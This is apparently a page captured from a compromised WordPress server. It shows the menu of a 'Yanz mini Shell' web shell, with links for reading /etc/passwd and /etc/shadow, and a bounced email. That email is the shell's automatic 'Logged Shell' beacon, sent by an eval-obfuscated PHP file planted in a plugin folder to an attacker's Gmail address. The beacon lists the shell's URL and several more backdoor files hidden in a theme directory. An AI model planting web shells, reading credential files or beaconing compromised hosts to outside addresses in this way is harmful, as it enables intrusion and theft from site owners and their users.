Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

Envelope-to: hdhubreisen@srv870.dumymovies.io
Delivery-date: Wed, 15 Jan 2025 13:02:44 +0000
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@srv870.dumymovies.io>
To: hdhubreisen@srv870.dumymovies.io
References: <E1tXgKs-0000000089M-0HiK@srv870.dumymovies.io>
Content-Type: multipart/report; report-type=delivery-status; boundary=1736858878-eximdsn-1420568042
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1tXgKs-000000008AD-25Lr@srv870.dumymovies.io>
Date: Tue, 14 Jan 2025 12:47:58 +0000

--1736858878-eximdsn-1420568042
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

loggershell443@gmail.com
    host gmail-smtp-in.l.google.com [142.250.102.26]
    SMTP error from remote mail server after end of data:
    550-5.7.1 [45.143.220.86] The IP you're using to send mail is not authorized to
    550-5.7.1 send email directly to our servers. Please use the SMTP relay at your
    550-5.7.1 service provider instead. For more information, go to
    550 5.7.1  https://support.google.com/mail/?p=NotAuthorizedError 4fb4d7f45d1cf-5d99efd9bb6si6818621a12.255 - gsmtp

--1736858878-eximdsn-1420568042
Content-type: message/delivery-status

Reporting-MTA: dns; srv870.dumymovies.io

Action: failed
Final-Recipient: rfc822;loggershell443@gmail.com
Status: 5.0.0
Remote-MTA: dns; gmail-smtp-in.l.google.com
Diagnostic-Code: smtp; 550-5.7.1 [45.143.220.86] The IP you're using to send mail is not authorized to
 550-5.7.1 send email directly to our servers. Please use the SMTP relay at your
 550-5.7.1 service provider instead. For more information, go to
 550 5.7.1  https://support.google.com/mail/?p=NotAuthorizedError 4fb4d7f45d1cf-5d99efd9bb6si6818621a12.255 - gsmtp

--1736858878-eximdsn-1420568042
Content-type: message/rfc822

Return-path: <hdhubreisen@srv870.dumymovies.io>
Received: from hdhubreisen by srv870.dumymovies.io with local (Exim 4.98)
	(envelope-from <hdhubreisen@srv870.dumymovies.io>)
	id 1tXgKs-0000000089M-0HiK
	for loggershell443@gmail.com;
	Tue, 14 Jan 2025 12:47:58 +0000
To: loggershell443@gmail.com
Subject: Logged Shell Yanz
X-PHP-Script: hdhub4u.reisen/wp-content/plugins/erinyani/gebase.php for 40.69.22.250, 40.69.22.250
 X-PHP-Originating-Script: 1002:gebase.php(1) : eval()'d code(2) : eval()'d code(2) : eval()'d code(4) : eval()'d code(1) : eval()'d code(2) : eval()'d code(11) : eval()'d code
Message-Id: <E1tXgKs-0000000089M-0HiK@srv870.dumymovies.io>
From: hdhubreisen@srv870.dumymovies.io
Date: Tue, 14 Jan 2025 12:47:58 +0000

[ 40.69.22.250 ]

Logged Shell http://hdhub4u.reisen/wp-content/plugins/erinyani/gebase.php Yanz Password ( |  | ) SpawnedShell 
https://hdhub4u.reisen/wp-content/themes/blocksy/static/js/options/options/ct-number/about.php	https://hdhub4u.reisen/wp-content/themes/blocksy/static/js/options/options/ct-number/about.php7	https://hdhub4u.reisen/wp-content/themes/blocksy/static/js/options/options/ct-number/wp-login.php	https://hdhub4u.reisen/wp-content/themes/blocksy/static/js/options/options/ct-number/alfa-rex.PhP7	https://hdhub4u.reisen/wp-content/themes/blocksy/static/js/options/options/ct-number/alfa-rex.php56	https://hdhub4u.reisen/wp-content/themes/blocksy/static/js/options/options/ct-number/alfa-rex.php8	https://hdhub4u.reisen/wp-content/themes/blocksy/static/js/options/options/ct-number/index.php	https://hdhub4u.reisen/wp-content/themes/blocksy/static/js/options/options/ct-number/alfa-rex.PHP	 *IP Address : [ 40.69.22.250 ]

--1736858878-eximdsn-1420568042--